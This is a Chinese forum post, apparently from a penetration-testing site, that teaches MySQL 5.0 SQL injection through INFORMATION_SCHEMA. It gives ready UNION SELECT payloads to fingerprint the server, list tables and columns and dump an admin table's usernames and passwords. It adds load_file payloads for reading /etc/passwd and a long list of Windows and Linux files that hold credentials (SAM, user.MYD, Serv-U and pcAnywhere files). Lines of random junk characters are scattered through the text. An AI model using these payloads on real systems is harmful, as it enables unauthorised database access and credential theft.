中国网络渗透测试联盟
标题:
mysql5.0注入原理
[打印本页]
作者:
admin
时间:
2013-3-7 13:24
标题:
mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
' c# ?% V$ I2 R( y& o% b2 D$ Z. [) V
0 y' ]$ F. o6 n' t6 r- l
, A, O; n+ y( P2 f
. p2 Y# v# r- u3 p: A" r6 B) f! k+ w
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
! A& ?8 q, f( ^: h& x
中记录了Mysql中所有
$ w9 L: ^& d2 c$ k! O
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
- S. q$ v+ [8 n/ i. `
明。
9 q X6 Z+ X4 W0 \6 M& ]( I5 d9 E
1.得到所有数据库名:
, O, n6 a4 t& Z. y0 w
|SCHEMATA ->存储数据库名的表
" F- n9 y/ ^; \3 [% O/ F; y6 V# {
|—字段:SCHEMA_NAME ->数据库名称
3 ?1 K8 |# }' @2 L! R" ?, Q
c2 E$ k. x7 h, Y# G
|TABLES ->存储表名
7 ?4 { Y) u+ n8 e0 k9 F2 t
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
9 k4 v/ n P* P7 O6 P' o/ h$ z
|—字段:TABLE_NAME ->存储表的表名
3 G/ u0 q0 w+ R* A& k5 u
6 Z. ]5 f3 d/ E% b9 ]8 n
|COLUMNS ->存储的字段名表
$ o1 H8 Z3 C8 W7 O0 x+ D3 f
|—字段:TABLE_SCHEMA ->该字段所属数据库名
. t! b; D8 e7 h) o
|—字段:TABLE_NAME ->存储所属表的名称
. Z5 S" u$ ^: H' w
2 E$ i( `. [9 [! `7 B
|—字段:COLUMN_NAME ->该字段的名称
) l. X2 P' F. t( A. `8 S) y
0 v! p' a/ W% V" K) V
#########################################################################
2 b$ m% v7 }* f6 L2 Y; f: y: D5 V$ T
##
1 C+ o# g( ]4 [! a) `" a7 B3 y
6 \5 A; k2 g2 D
0×001 获取系统信息:
/ C$ C* t/ _, q! \( N( X
) a& y4 H* v3 Y6 i4 T j. a8 j
union select 1,2,3,4,5,concat
4 Q; Q' c6 I; e$ S- k8 Q9 S
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
3 e+ x9 a4 j& w% T
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
/ P4 i" K n% I B5 {
& z8 C0 ]/ j ?0 Z- E3 n
/*
$ c* s6 q* K/ Z
0 R$ M4 b2 P3 E
@@global.version_compile_os 获取系统版本
# J$ u5 Q0 E: \* b( c* S
9 C" q& G) Y ]" } y2 }8 o0 M3 y
@@datadir 数据库路径
6 V" e* }, z4 T; E
database() 当前数据库名称
) Q' X, [/ [* {# c/ ?, j" D$ e
0x3c62723e 换行HEX值
6 ]2 G) J2 z( O- L* G( ^. H' G
+ w/ p, f4 j7 @# \
*/
( A W# X! ?- F0 L3 w1 T0 w2 {/ N* [
- e$ b* d1 X9 [# H0 U z
######################################################################
6 }, L! f! [5 C9 H5 V& |
3 o. l% D5 w8 h2 o: l2 i
0×002 获取表名
! _" @- s; X) Y
/ |- Q# q( n2 H& U! f0 S
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
0 `( w$ @$ R8 O4 ?
information_schema.tables where table_schema=0x67617264656e /*
0 [; W/ u1 S5 m; Y7 X
* O! O4 Q' ^7 z# A: M
/*
$ J0 k& D4 y# W
5 x" ?8 |9 X' w, Q6 b, D
0x67617264656e 为当前数据库名
1 p# x: N. }7 D
0 t5 W3 W4 E3 d" @# M$ @; {6 A
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
% ~4 U1 E- i- n8 K
8 {. G% U! ~% l: B8 b- F3 h
*/
2 T; ?1 m; D$ x6 P
( N5 \4 _; H! _
######################################################################
* S8 O2 i/ {& u; S2 d9 ~
. V' Z' T# z( s7 {4 h# v' @
0×003 获取字段
3 w- c, c" X2 `3 z9 f
1 v" C" r# y& M0 ~5 f4 I) P$ e: O
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
3 y8 u2 t5 T4 A [% d
information_schema.columns where table_name=0x61646d696e and
0 I b0 R. }+ Z
, H3 \' W) [6 X1 W) X/ V
$ X8 R' Y3 U" m( t8 D
table_schema=0x67617264656e limit 1 /*
5 X- l! q1 E3 y
/ n u9 H0 G2 n6 \
/*
( x( k4 u1 E" {
" l+ w# `6 |* X% x1 Y
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
, D6 z" V! |5 b! Q
0 A& E, X8 A9 z9 a4 Z0 N% X7 w6 ^
0x61646d696e ->选择一个表
+ k6 [/ A7 `( @( P; {
% R. ?9 Z% Z" S% D( V5 m" Q/ `
0x67617264656e ->数据库名
; ~$ x8 _9 f$ c4 ~0 l
: k2 d0 U9 w' f$ d
*/
, t+ ]2 a, p) P2 W9 r" P: g/ u% J
; a8 p9 ]* C- p' K
#####################################################################
& W/ E5 ?4 U: H8 V7 \2 D- g
+ E% l6 K+ d% w! u& T
0×004 获取数据
5 d0 c/ N* g$ F* r c6 z9 R1 [, K
9 ~( I% O+ r# k! T
union select 1,2,3
; S; P* ^# U; [* T! u; h) [
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
( _0 I& z) O) B& ^3 T1 ?/ e
/ I+ x4 i4 M! \( X
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
. t4 B$ r) T2 V# m( ]. H7 ~
(adpassword),6,7,8 from admin
3 Z3 t9 N% |) G% u+ E1 v7 ]
( [$ T% E V; ^5 Y! K4 M9 {
/*
. L8 _9 d2 ?: @/ A8 I3 W5 d& Q3 J
4 H( c% t& J v
0x3c62723e 换行符号HEX编码
8 }6 U4 o L( |% q1 i$ |, u2 _
7 H2 X l* j& o
group_concat 同时获得该字段所有数据
$ W$ |9 X9 q' m% e! S8 D
( l: U, H7 J# K! k ~2 v- o9 B
*/
* B' b+ p& m6 A, F4 Y7 Y- Z
) @; v2 \7 _8 h" x
. Y! h- G3 e( m+ B
) n4 h" Z# V9 j9 B& Z+ M* w
3 w9 X) v2 t% q5 f
. ^- n6 z$ F# u
顺便添加一些mysql注入时非常有用的一些东西
q" c. S! Z6 i' f& x* E8 O8 J
# o4 x) q1 W. a4 }: x
简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
" s! g5 R3 E3 Y" a6 b
% h& }0 R. ^& V! k/ P3 Z* e
1:system_user() 系统用户名
( u% a9 ~- }" X+ l* W
2:user() 用户名
+ _) D7 T, ]" K1 C/ z$ H+ Z! a) ~
3:current_user() 当前用户名
! a x8 e& A" D3 s: x# a" P
4:session_user()连接数据库的用户名
1 x7 R8 Z2 R3 }& w& K
5:database() 数据库名
' _7 C+ ]* p8 o# N; w7 u' A* ]0 n
6:version() MYSQL数据库版本
- k- k8 A: X5 V8 |0 l
7:load_file() MYSQL读取本地文件的函数
: i4 T" W, }+ u9 V+ n7 {- k- o
8
@datadir 读取数据库路径
: O- w a: i, k% Q! M
9
@basedir MYSQL 安装路径
8 G+ ]; y, g7 A3 f' ]/ V* k
10
@version_compile_os 操作系统 Windows Server 2003,
! y; {: W" f9 D- T
收集的一些路径:
# s5 t1 r: Q1 z: ^3 _8 b; l
WINDOWS下:
& W# V0 T. L3 _
c:/boot.ini //查看系统版本
+ a% a, M% M" w
c:/windows/php.ini //php配置信息
% e0 n! f3 K5 H Q* |
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
& I& {; F i$ G3 [
c:/winnt/php.ini
+ c$ W; Z# @2 j; N, n8 d: B
c:/winnt/my.ini
2 H, T9 i, Y4 U. n3 l7 |
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
# `; C9 \) F+ R7 y) m8 b
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
4 q+ `# c/ _: M. q
c:\Program Files\Serv-U\ServUDaemon.ini
( `7 G" |: y4 n0 n, L$ k
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
8 x- L3 m* t! y) j8 R
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
0 G7 ?4 u0 {8 n2 q3 K3 I! p
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
7 i; m M, u* n
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
3 o* |: f7 a D8 t$ p
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
6 H- B: c7 @' q @/ i d
//存储了pcAnywhere的登陆密码
4 H$ i* m5 r5 y4 ^# h. \: U$ e
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
/ M1 K/ ]. ~. Q8 z
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
. N" w5 I9 V! v0 o" t5 s, I/ w& a: |. `
; z! J( S8 l0 u
& `- l' c5 N* P: l* F2 n/ e; l
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8 X# o; O" H. I; g. z
d:\APACHE\Apache2\conf\httpd.conf
, o8 t4 @' f1 Y7 q, P6 |0 M
C:\Program Files\mysql\my.ini
! X1 C& b. _+ D. Y+ {1 g: t
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
% P9 P, O& y4 U- ]; z I8 A
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
1 q" J- U0 s1 a# `) D
% A0 ], Y) b& S$ V$ |3 H& M2 c0 X0 ~3 S
LUNIX/UNIX下:
c, d7 A- }* i* i. R# c9 ?) x
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
! ^0 x' S7 G+ P5 z5 p
/usr/local/apache2/conf/httpd.conf
& u6 Q. w( q6 k* J3 ^; p
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
& b! j: `8 l7 @! U% r
/usr/local/app/php5/lib/php.ini //PHP相关设置
% U0 q( O- r& A2 ]" f
/etc/sysconfig/iptables //从中得到防火墙规则策略
# \* i# E+ n/ ~2 R3 u% e
/etc/httpd/conf/httpd.conf // apache配置文件
$ s8 _# z4 Y0 m4 Y- n7 J
/etc/rsyncd.conf //同步程序配置文件
9 g/ s# a! G: ~, c! g4 S4 V
/etc/my.cnf //mysql的配置文件
- z. W, W' }: _$ ?% y
/etc/redhat-release //系统版本
! J& F: r& i+ w( Y/ B- { b
/etc/issue
) {. K' s) t# H2 N: o# x5 \
/etc/issue.net
" f4 _% X+ N; U! D" @0 W
/usr/local/app/php5/lib/php.ini //PHP相关设置
! {! E1 K# }' m7 e; F
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' D* J4 Q/ X* ?9 k6 K/ ^
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
) b6 p7 Z* D8 s' e1 N6 V
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
0 u. n# @8 f. C1 j: l) X8 L
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
+ M$ x/ C b/ u
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
. x2 P+ G4 M- d( j0 r% K
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
2 j! @( P1 E- a9 u
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
: }; Z9 l9 D3 S9 q% R! q/ i
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
: W1 ]4 e8 t3 Q* k) e7 o! a
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
1 p' [) u) M' ] [ Y
/etc/sysconfig/iptables 查看防火墙策略
: F4 A# X# Q7 l& @& Z( C. Y+ S9 `: O
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
0 M t+ _& ~' s5 V
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
t H2 l% b% J2 ^: C1 |
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
- S' p" G4 W% ]8 d& u
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
; V$ J& f0 q9 p, v
8 |& {! g+ o6 ]" i
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2